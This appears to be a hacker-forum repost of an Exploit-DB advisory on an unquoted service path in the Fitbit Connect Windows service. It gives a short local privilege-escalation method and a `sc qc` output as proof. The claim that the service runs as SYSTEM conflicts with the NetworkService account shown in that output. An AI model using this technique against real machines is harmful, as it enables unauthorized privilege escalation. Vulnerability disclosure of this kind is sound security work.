Exploit Fitbit Connect Service - Unquoted Service Path Privilege Escalation

Exploiter

Хакер
34,644
0
18 Дек 2022
EDB-ID
40482
Проверка EDB
  1. Пройдено
Автор
ROSS MARKS
Тип уязвимости
LOCAL
Платформа
WINDOWS
CVE
N/A
Дата публикации
2016-10-09
Fitbit Connect Service - Unquoted Service Path Privilege Escalation
Код:
Fitbit Connect Service: https://www.fitbit.com/
By Ross Marks:          http://www.rossmarks.co.uk
Exploit-db:             https://www.exploit-db.com/author/?a=8724
Category:               Local
Tested on:              Windows 10 x86/x64
 
1) Unquoted Service Path Privilege Escalation 
 
Fitbit connect installs as a service with an unquoted service path running with SYSTEM privileges.
This could potentially allow an authorized but non-privileged localuser to execute arbitrary code with elevated privileges on the system.
 
A successful attempt would require the local attacker must insert an executable file in the path of the service.
Upon service restart or system reboot, the malicious code will be run with elevated privileges.
 
PoC:
 
C:\>sc qc "Fitbit Connect"
[SC] QueryServiceConfig SUCCESS
 
SERVICE_NAME: Fitbit Connect
        TYPE               : 10  WIN32_OWN_PROCESS
        START_TYPE         : 2   AUTO_START
        ERROR_CONTROL      : 1   NORMAL
        BINARY_PATH_NAME   : C:\Program Files (x86)\Fitbit Connect\FitbitConnectService.exe
        LOAD_ORDER_GROUP   :
        TAG                : 0
        DISPLAY_NAME       : Fitbit Connect Service
        DEPENDENCIES       :
        SERVICE_START_NAME : NT AUTHORITY\NetworkService
 
Источник
www.exploit-db.com

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